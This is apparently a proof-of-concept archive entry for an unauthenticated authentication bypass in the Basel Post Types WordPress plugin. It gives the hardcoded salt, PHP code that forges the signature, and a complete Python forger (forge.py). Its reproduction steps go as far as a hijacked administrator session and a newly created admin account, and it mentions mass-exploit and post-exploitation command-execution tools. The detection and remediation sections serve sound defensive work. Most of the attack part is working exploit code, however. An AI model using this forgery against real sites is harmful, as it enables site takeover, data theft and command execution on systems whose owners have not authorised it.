PoC Archive PoC Archive
CVE-2026-89324 category: web CVSS 9.8 (CRITICAL)
Unverified

CVE-2026-89324 — Basel Post Types ≤ 1.18 Unauthenticated Auth Bypass via Forged Opauth Callback

Published: 2026-11-25 • Researcher: im0xfay (0xfay) / Cyber Alpha Labs — PoC and lab; Wordfence Threat Intelligence — advisory

Target software Basel Post Types WordPress plugin (basel-post-types), bundled as woodmart-core with the commercial Basel / Woodmart themes by XTemos; requires WooCommerce and a configured social-login provider (Facebook, Google or VKontakte)
Affected versions All versions up to and including 1.18 (NVD). The repository analysis describes the bundled woodmart-core copy as byte-identical; confirm the deployed plugin version via its readme.txt
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-89324
Category
web
Affected product
Basel Post Types WordPress plugin (basel-post-types), bundled as woodmart-core with the commercial Basel / Woodmart themes by XTemos; requires WooCommerce and a configured social-login provider (Facebook, Google or VKontakte)
Affected versions
All versions up to and including 1.18 (NVD). The repository analysis describes the bundled woodmart-core copy as byte-identical; confirm the deployed plugin version via its readme.txt
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-11
Author / Researcherim0xfay (0xfay) / Cyber Alpha Labs — PoC and lab; Wordfence Threat Intelligence — advisory
CVE / AdvisoryCVE-2026-89324
Categoryweb
SeverityCritical
CVSS Score9.8 (NVD / worklist; CVSS v3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H as stated in the repository analysis)
StatusWeaponized
Tagsauthentication-bypass, unauthenticated, WordPress, WooCommerce, Opauth, social-login, hardcoded-secret, admin-takeover, PHP, CWE-287
RelatedN/A

Affected Target

FieldValue
Software / SystemBasel Post Types WordPress plugin (basel-post-types), bundled as woodmart-core with the commercial Basel / Woodmart themes by XTemos; requires WooCommerce and a configured social-login provider (Facebook, Google or VKontakte)
Versions AffectedAll versions up to and including 1.18 (NVD). The repository analysis describes the bundled woodmart-core copy as byte-identical; confirm the deployed plugin version via its readme.txt
Language / PlatformPHP 8.x on WordPress (lab: WordPress 6.7.1, php8.3-apache, MySQL 8.0, WooCommerce)
Authentication RequiredNo (unauthenticated callback; the attacker must know an existing account e-mail, e.g. an administrator address)
Network Access RequiredYes (HTTP GET to the site root with the opauth query parameter)

Summary

The Basel Post Types plugin for WordPress validates social-login callbacks itself using the Opauth library, but a missing-quotes coding error in its configuration code makes the validation salt fall back permanently to a static value that is published in the theme source. Because that salt is known, an unauthenticated attacker can compute a valid Opauth signature entirely offline and submit a forged callback naming any existing WordPress account e-mail. The plugin then logs the request in as that user through WooCommerce and returns a genuine authenticated session cookie, with no password, multi-factor or ownership check. If the chosen e-mail belongs to an administrator, the result is full WordPress admin takeover, and the included post-exploitation tool can turn that session into command execution. Exploitation requires WooCommerce to be active and at least one social provider to be configured with an app id and secret.

Vulnerability Details

Root Cause

In the plugin authentication code (inc/auth.php around line 181), the salt is selected with:

PHP
1
2
3
if ( defined( SECURE_AUTH_SALT ) ) {   // missing quotes - the bug
    $security_salt = SECURE_AUTH_SALT;
}

The call passes the value of the SECURE_AUTH_SALT constant (a 64-character random string) to defined(), which asks PHP whether a constant with that random string as its name exists. It never does, so the branch never runs and the salt always stays at the hardcoded fallback literal 2NlBUibcszrVtNmDnxqDbwCOpLWq91eatIz6O1O. That literal ships in the theme source and is therefore public. Correct code would be defined(‘SECURE_AUTH_SALT’), which would bind the signature to the per-install secret and make offline forgery impossible. NVD classifies the issue as CWE-287; the repository analysis also maps it to CWE-290 (authentication bypass by spoofing), CWE-798 (hard-coded secret) and CWE-345 (insufficient verification of authenticity).

Attack Vector

An unauthenticated attacker sends a single crafted GET request to the site root:

Output
GET /?opauth=<base64(json)> HTTP/1.1

The JSON object carries an auth array (provider, uid, info.email), a timestamp and a signature. The signature is computed offline against the known salt with the Opauth algorithm: sha1 of print_r of the auth array, then 300 iterations of base_convert(sha1(input . salt . timestamp), 16, 36). The plugin decodes the blob on the unauthenticated init hook, validates the signature, and on success passes the attacker-supplied e-mail to its register_or_login routine, which calls wc_set_customer_auth_cookie for the user that owns that address. No password, MFA, nonce or provider-side token verification is involved.

Impact

An attacker obtains a fully authenticated WordPress session for any existing account whose e-mail is known, including administrators, leading to complete site takeover: content and configuration changes, plugin and theme installation, user creation and data theft. The bundled rce.py demonstrates post-exploitation by deploying a self-written plugin that provides command execution as the web-server user. Accounts that do not exist are created as new low-privilege customers instead, so the escalation depends on knowing an administrator e-mail (which is often exposed through the REST users endpoint, author archives or user sitemaps).

Environment / Lab Setup

Output
OS:          Linux host with Docker (lab compose file provided)
Target:      WordPress 6.7.1 + php8.3-apache + MySQL 8.0 + WooCommerce,
             with the reconstructed vulnerable basel-post-types plugin (127.0.0.1:8199)
Attacker:    Same host or LAN; PHP CLI and Python 3.10+ (stdlib only)
Tools:       Docker Compose, PHP CLI, Python 3, curl

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
cd lab
docker compose up -d                              # db + wp on 127.0.0.1:8199
docker compose exec wp bash /setup-lab.sh         # WordPress, WooCommerce, users, provider config
cd ..

python3 poc.py --url http://127.0.0.1:8199 --scan
python3 poc.py --url http://127.0.0.1:8199 --exploit --email admin@lab.local --auto-provider

python3 poc.py --url http://127.0.0.1:8199 --exploit --email admin@lab.local --auto-provider \
    --create-admin --new-login audit1 --new-pass 'LabPass!2345'

cd lab && docker compose down -v

The lab plugin is a faithful reconstruction that keeps the exact quoting bug and the exact Opauth validation flow, so the exploit behaves like the shipped plugin without requiring the paid theme. PHP CLI is mandatory: hashphp.php delegates signature generation to PHP’s own base_convert and print_r because the float-based base_convert cannot be reproduced byte-exactly in Python.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — bring up WordPress, MySQL, WooCommerce and the vulnerable plugin, then run the setup script to create admin@lab.local and configure a Facebook app id/secret so the provider precondition is met.
  2. Fingerprint the target — python3 poc.py --url http://127.0.0.1:8199 --scan reads /wp-content/plugins/basel-post-types/readme.txt (and the woodmart-core copy) and reports the plugin version and the my-account path.
  3. Forge the callback offline — hashphp.php builds the auth array for the target e-mail, computes sha1(print_r(auth)), iterates 300 times with the hardcoded salt and an ISO-8601 timestamp, and base64-encodes the JSON blob.
  4. Submit the forged callback — poc.py sends GET /?opauth=<payload>; the plugin validates the signature and calls wc_set_customer_auth_cookie for the account owning that e-mail, returning a logged-in session.
  5. Verify the session — poc.py checks /wp-admin/profile.php and the admin dashboard; success is reported as PWNED-ADMIN when the account has administrator capabilities.
  6. Optional full takeover — with --create-admin, poc.py reuses the admin session to create and verify a brand-new administrator through user-new.php (with a REST fallback).

Exploit Code

See poc.py (main tool, uses hashphp.php for byte-exact signatures), hashphp.php, forge.py, exploit.php, repro.php and the post-exploitation rce.py in this folder. The upstream write-up is upstream-README.md and the full analysis is in analysis/.

The core forgery, as implemented in hashphp.php:

PHP
1
2
3
4
5
6
7
8
$timestamp = date('c');
$input = sha1(print_r($auth, true));
$h = $input;
for ($i = 0; $i < 300; ++$i) {
    $h = base_convert(sha1($h . $salt . $timestamp), 16, 36);
}
$blob = array('auth' => $auth, 'timestamp' => $timestamp, 'signature' => $h);
echo base64_encode(json_encode($blob));

The request itself:

Output
GET /?opauth=<base64(json(auth,timestamp,signature))> HTTP/1.1
Host: target

Expected Output

Output
[VULN]        http://127.0.0.1:8199  plugin=basel-post-types v=1.18 myaccount=/my-account/
[PWNED-ADMIN] http://127.0.0.1:8199  user='admin' ADMIN session obtained via Facebook (http=200)
[NEW-ADMIN]   http://127.0.0.1:8199  'audit1' created+verified (method=user-new.php, id=N)

A rejected or patched target answers HTTP 302 to the forged callback, and a target without a configured provider returns HTTP 500 before validation. A random non-existent e-mail creates a low-privilege customer instead of escalating.

Detection & Indicators of Compromise

  • Requests for /wp-content/plugins/basel-post-types/readme.txt or /wp-content/plugins/woodmart-core/readme.txt, especially during reconnaissance of plugin versions.
  • Unauthenticated GET /?opauth= requests whose base64 payload decodes to JSON containing auth.info.email set to an existing administrator address, followed by HTTP 200 and a new wordpress_logged_in cookie. Note that legitimate social logins also use this parameter, so correlate with the provider configuration, the e-mail and the subsequent session.
  • A 200 response from the opauth callback with no preceding OAuth provider redirect or consent flow; rejected signatures produce 302 to the my-account page.
  • New administrator accounts created immediately after such a callback (POST to /wp-admin/user-new.php or /wp-json/wp/v2/users), or plugin uploads/activation by a session whose login had no password authentication.
  • Post-exploitation artifacts from rce.py: newly installed plugin directories, an AJAX action named 0xfay_rce, or a PHP shell file written into uploads.
Output
1
2
203.0.113.9 - - [25/Nov/2026:12:34:56 +0000] "GET /?opauth=eyJhdXRoIjp7InByb3ZpZGVyIjoiRmFjZWJvb2siLCJ1aWQiOiIxMDAwMDAwMDAxIiwiaW5mbyI6eyJlbWFpbCI6ImFkbWluQGV4YW1wbGUuY29tIn19... HTTP/1.1" 200 8421 "-" "curl/8.5.0"
203.0.113.9 - - [25/Nov/2026:12:34:57 +0000] "POST /wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0"

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-89324 forged Opauth auth-bypass attempt"; \
  content:"opauth="; http_uri; \
  pcre:"/opauth=[A-Za-z0-9%2B%2F%3D]{200,}/i"; sid:9008932;)

Remediation

ActionDetail
PatchUpdate basel-post-types (and the bundled woodmart-core) above 1.18 once the vendor ships a fix. The code fix is to quote the constant: defined('SECURE_AUTH_SALT'), so the per-install secret is used as the signature salt.
WorkaroundIf no patched build is available, disable the plugin’s social-login handler or block ?opauth= at the WAF/reverse proxy; removing the plugin (after migrating custom post types) also removes the endpoint.
Config HardeningBind the callback to a stored provider-uid-to-user mapping instead of a client-supplied e-mail, add a nonce/state value and rate limiting, rotate the WordPress salts and any public administrator e-mail addresses, alert on new administrator creation, and restrict wp-admin access.

References

Notes

Auto-ingested from https://github.com/im0xfay/CVE-2026-89324 on 2026-11-25.

Review verdict: this is a genuine exploit PoC, not a detector or scanner. It forges the Opauth signature offline and exercises the full authentication bypass, and the upstream README reports the lab chain as verified end to end (forged callback, admin session, new administrator created). Status is therefore Weaponized. The repository also bundles mass scan and mass exploit modes plus rce.py post-exploitation (admin session to self-written plugin to command execution); those capabilities were not executed during ingestion.

License: MIT (Copyright 2026 0xfay x Cyber Alpha Labs). Files are archived with attribution for authorized security research only.

Limitations: exploitation has hard preconditions — WooCommerce active, at least one social provider configured with a valid app id and secret, and knowledge of an existing account e-mail (administrator e-mail yields admin takeover; an unknown e-mail only creates a customer). PHP CLI is required for byte-exact signatures; the pure-Python fallback is documented as unreliable. The lab uses a reconstruction of the commercial plugin rather than the vendor build, and the repository was not tested against the paid theme during ingestion. exploit.php and forge.py use an integer timestamp while the verified poc.py path (via hashphp.php) sends an ISO-8601 timestamp; use the poc.py path for reproduction. No paid theme archive, plugin zip, vendor Opauth library or trace_logic.php was copied, and no credentials or live-target data were included; the DB passwords in lab/docker-compose.yml are lab-only. Do not run the mass-exploit modes or rce.py against systems without written authorization.

forge.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
"""Offline signature forger + verifier — CVE-2026-89324 (Basel Post Types <= 1.18).
Mirrors OpauthStrategy::hash() + Opauth::validate() exactly."""
import hashlib, base64, json, time, sys

VENDOR_SALT   = "2NlBUibcszrVtNmDnxqDbwCOpLWq91eatIz6O1O"
OPAUTH_SALT   = "LDFmiilYf8Fyw5W10rx4W1KsVrieQCnpBzzpTBWA5vJidQKDx8pMJbmw28R1C4m"
ITER          = 300
TIMEOUT       = 120  # '2 minutes'

def _php_base_convert_hex_to_b36(h: str) -> str:
    """Replicate PHP's base_convert() for hex->base36.

    PHP uses FLOATING-POINT math internally, so only ~13 significant hex
    digits survive before the tail is zero-padded. Reproducing that lossy
    behaviour is MANDATORY for signature compatibility — an exact big-int
    conversion produces a different (wrong) signature.
    """
    n = 0.0
    for ch in h.lower():
        n = n * 16.0 + float(int(ch, 16))
    if n == 0.0:
        return "0"
    d = "0123456789abcdefghijklmnopqrstuvwxyz"
    out = ""
    while n >= 1.0:
        out = d[int(n % 36.0)] + out
        n = n // 36.0
    return out

def _base36(n: int) -> str:
    """Exact big-int base36 (kept for reference/tests; NOT used in hashing)."""
    d = "0123456789abcdefghijklmnopqrstuvwxyz"
    if n == 0: return "0"
    s = ""
    while n:
        s = d[n % 36] + s; n //= 36
    return s

def opauth_hash(inp: str, ts, it: int, salt: str) -> str:
    for _ in range(int(it)):
        h = hashlib.sha1((inp + salt + str(ts)).encode()).hexdigest()
        inp = _php_base_convert_hex_to_b36(h)
    return inp

def php_print_r_auth(auth: dict) -> str:
    """Replicate PHP print_r() for the $auth array EXACTLY.

    print_r on an array:
      Array
      (
          [provider] => Facebook
          [uid] => 1000000001
          [info] => Array
              (
                  [email] => x@y.z
              )

      )
    """
    def val(v, indent):
        pad = " " * indent
        if isinstance(v, dict):
            out = "Array\n" + pad + "(\n"
            for k, vv in v.items():
                out += pad + f"    [{k}] => " + val(vv, indent + 8) + "\n"
            out += pad + ")\n"
            return out
        return str(v)
    s = "Array\n(\n"
    for k, v in auth.items():
        s += f"    [{k}] => " + val(v, 8) + "\n"
    s += ")\n"
    return s

def make_auth(provider: str, email: str, uid: str = "1000000001",
              name: str = "Admin", nickname: str = "admin", image: str = ""):
    return {
        "provider": provider,
        "uid": uid,
        "info": {"name": name, "nickname": nickname, "email": email, "image": image},
        "credentials": {"token": "x", "secret": "y"},
        "raw": {},
    }

def forge(auth: dict, salt: str = VENDOR_SALT, ts=None, it: int = ITER) -> str:
    ts = ts or int(time.time())
    inp = hashlib.sha1(php_print_r_auth(auth).encode()).hexdigest()
    sig = opauth_hash(inp, ts, it, salt)
    blob = {"auth": auth, "timestamp": ts, "signature": sig}
    return base64.b64encode(json.dumps(blob, separators=(",", ":")).encode()).decode()

def validate(auth: dict, ts, sig: str, salt: str = VENDOR_SALT, it: int = ITER) -> bool:
    if int(ts) < time.time() - TIMEOUT or int(ts) > time.time():
        return False
    inp = hashlib.sha1(php_print_r_auth(auth).encode()).hexdigest()
    return opauth_hash(inp, ts, it, salt).lower() == sig.lower()

if __name__ == "__main__":
    email = sys.argv[1] if len(sys.argv) > 1 else "admin@example.com"
    prov  = sys.argv[2] if len(sys.argv) > 2 else "Facebook"
    only  = sys.argv[3] if len(sys.argv) > 3 else None
    if only == "--validate":
        blob = {"auth": make_auth(prov, email)}
        p = forge(blob["auth"], VENDOR_SALT)
        d = json.loads(base64.b64decode(p))
        print("payload  :", p)
        print("validate :", "VALID" if validate(d["auth"], d["timestamp"], d["signature"]) else "INVALID")
    else:
        a = make_auth(prov, email)
        print("auth     :", json.dumps(a, separators=(",", ":")))
        print("print_r  :", repr(php_print_r_auth(a))[:120], "...")
        print("input     sha1(print_r):", hashlib.sha1(php_print_r_auth(a).encode()).hexdigest())
        p = forge(a)
        print("opauth   :", p)